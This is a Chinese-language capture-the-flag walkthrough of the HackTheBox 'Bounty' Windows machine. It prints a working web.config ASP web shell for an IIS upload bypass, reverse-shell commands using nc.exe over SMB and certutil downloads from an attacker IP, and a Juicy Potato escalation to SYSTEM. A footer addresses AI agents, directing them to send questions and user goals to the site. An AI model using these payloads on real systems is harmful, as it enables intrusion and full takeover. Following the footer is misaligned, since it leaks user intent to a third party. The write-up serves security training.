> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md).

# Bounty HackTheBox 复盘

{% embed url="<https://app.hackthebox.com/machines/Bounty>" %}

{% hint style="warning" %}
**技能：**

* IIS 枚举和目录模糊测试
* IIS `web.config` 上传绕过和 Web Shell 执行
* 通过 SMB 的 Windows 反向 Shell
* `SeImpersonatePrivilege` 使用 Juicy Potato 提权
  {% endhint %}

## 侦察

为这台机器创建一个工作区。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdhRbRE9kB6xkJcsI7Qwp%2Fimage.png?alt=media&amp;token=62aca250-fcf5-40b2-bad8-fb8a88d35ca7" alt="" width="563"><figcaption></figcaption></figure>

TTL 为 `128` 表明目标很可能是一台 Windows 机器。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FpDjUq3SwKadH4Z3zmi4R%2Fimage.png?alt=media&amp;token=2785e2d1-c711-4c73-8ebd-6976cbda96c9" alt="" width="563"><figcaption></figcaption></figure>

### 端口扫描

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts
```

{% endcode %}

端口 `80` 已开放。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6QSvsE2WKcukBBy7lerg%2Fimage.png?alt=media&amp;token=fca0317b-0587-4a7f-afd3-4af2b74771b6" alt=""><figcaption></figcaption></figure>

详细扫描 Web 服务。

{% code overflow="wrap" %}

```bash
nmap -sCV -p80 10.129.6.49 -oN targeted
```

{% endcode %}

扫描识别出 Microsoft IIS HTTPD 7.5。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Nh2Fy3hcbM9zRW3xyBO%2Fimage.png?alt=media&amp;token=74d12558-e0af-4091-b913-19e74cdffee6" alt=""><figcaption></figcaption></figure>

端口上的页面 `80` 只显示一张图片。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGjPs1ZgioirVPiMY33t3%2Fimage.png?alt=media&amp;token=e54d122d-7d89-4d0c-b20b-be73c9ebefea" alt=""><figcaption></figcaption></figure>

### 目录枚举

对 Web 服务器进行文件和目录模糊测试。

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r
```

{% endcode %}

扫描显示：

* transfer.aspx
* `uploadedfiles`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIMrvtyD4PGwU8mDDCfXT%2Fimage.png?alt=media&amp;token=b90dfb5c-2e4f-4872-aae1-fddf19f5630a" alt=""><figcaption></figcaption></figure>

`transfer.aspx` 接受文件上传。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUC9Dc8V6DK4tV48BNtvv%2Fimage.png?alt=media&amp;token=3eb5c8b3-4577-4066-87db-7c8189434c46" alt="" width="561"><figcaption></figcaption></figure>

一个 `.aspx` 命令 shell 被拒绝，因为其扩展名不被允许。

{% code overflow="wrap" %}

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FvHHcYaeDyoAZ6DJcvAAZ%2Fimage.png?alt=media&amp;token=dc3a3c8c-cb4d-4791-b209-4dd956819572" alt=""><figcaption></figcaption></figure>

搜索 `Windows IIS 反向 Shell 的所有文件扩展名`。HackTricks 描述了几个相关的扩展名，包括 `.asp`, `.aspx`, `.config`，以及 `.php`.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWHIP4m5bXb3JPMH6jHkm%2Fimage.png?alt=media&amp;token=3ff943bf-055e-4f11-a1c0-1381bac01310" alt=""><figcaption></figcaption></figure>

该 [IIS web.config 上传绕过](/zh/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) 可通过 `.config` 文件执行。

#### 执行 .config 文件

> 如果应用允许你将 .config 文件上传到已提供服务的目录中，那么 IIS web.config 可能可用于代码执行。一种技术是在 HTML 注释中附加负载：在此下载示例。
>
> 关于如何利用此漏洞的更多信息和技巧请见这里\[2]

创建一个 `web.config` 内容如下的文件。

{% code overflow="wrap" %}

```bash
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="运行">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>服务器端口：</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>服务器软件：</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>服务器软件：</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>



<%Response.write("<!-"&"-") %>
-->
```

{% endcode %}

该 `.config` 文件成功上传。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fb7K4yz4nylJjkGJ51PA8%2Fimage.png?alt=media&amp;token=bc36998f-7a8a-427e-809d-16dfe7b521d3" alt=""><figcaption></figcaption></figure>

浏览到 `/uploadedfiles/web.config` 以访问 Web Shell。该文件会在几秒后被删除。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FF0FALBOISETaZKMSVCG6%2Fimage.png?alt=media&amp;token=f28d5941-5002-4503-af32-21264e26a2cc" alt=""><figcaption></figcaption></figure>

## 初始访问

使用 Web Shell 获取反向 Shell。

在当前目录放置一个可执行的 Netcat：

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

启动一个 SMB 服务器来共享该文件：

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

将你的机器设为 443 端口的监听器：

```bash
sudo rlwrap nc -nvlp 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDtp7McxSizx5P5CsQyp4%2Fimage.png?alt=media&amp;token=c94ec033-4693-407f-8217-2213f6ee3360" alt=""><figcaption></figcaption></figure>

从 WebShell 执行反向 Shell 命令：

{% code overflow="wrap" %}

```bash
//10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443

http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443
```

{% endcode %}

反向 Shell 成功连接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJqbSdDMNjQD9eaUb1LjR%2Fimage.png?alt=media&amp;token=7f32ce4e-b64f-44f8-be71-dd5ae0c86e69" alt=""><figcaption></figcaption></figure>

获取用户 flag。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9pEr8blbm9wzQm9x8wOC%2Fimage.png?alt=media&amp;token=6ecb8b36-912b-4502-b124-66b4ff135757" alt=""><figcaption></figcaption></figure>

## 权限提升

当前用户拥有 `SeImpersonatePrivilege` 权限。

{% code overflow="wrap" %}

```bash
whoami /priv
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft9Tj2gFqcjJSVzXbd00L%2Fimage.png?alt=media&amp;token=58eb860f-5d25-4ac5-ac7e-325fb8f3905f" alt=""><figcaption></figcaption></figure>

下载 `JP.exe`.

{% embed url="<https://github.com/k4sth4/Juicy-Potato/tree/main/x64>" %}

将它与 Netcat 一起传输到目标机器。

{% code overflow="wrap" %}

```bash
certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe
certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAqLFS4473GgZd2v8VXjP%2Fimage.png?alt=media&amp;token=f50682bb-aeae-496c-969b-4ad8da3f099f" alt=""><figcaption></figcaption></figure>

在端口上启动监听器 `1234`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 1234
```

{% endcode %}

运行 Juicy Potato 以执行 `cmd.exe` 作为 `SYSTEM`.

{% code overflow="wrap" %}

```bash
.\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234"
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCpOPU2UcH5U5jJ3YtXC0%2Fimage.png?alt=media&amp;token=e38e3cd1-11a3-42e7-a428-6bbe995535e3" alt=""><figcaption></figcaption></figure>

获取 root flag。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLHrFjStc6NngcwNVtKnp%2Fimage.png?alt=media&amp;token=c5c63f77-2602-4743-8e73-f1571bdf7c67" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FZAAG7VcXGTobv8xtBLYo%2Fimage.png?alt=media&amp;token=b89480bd-22f5-4dcc-b295-5aabc44839c2" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
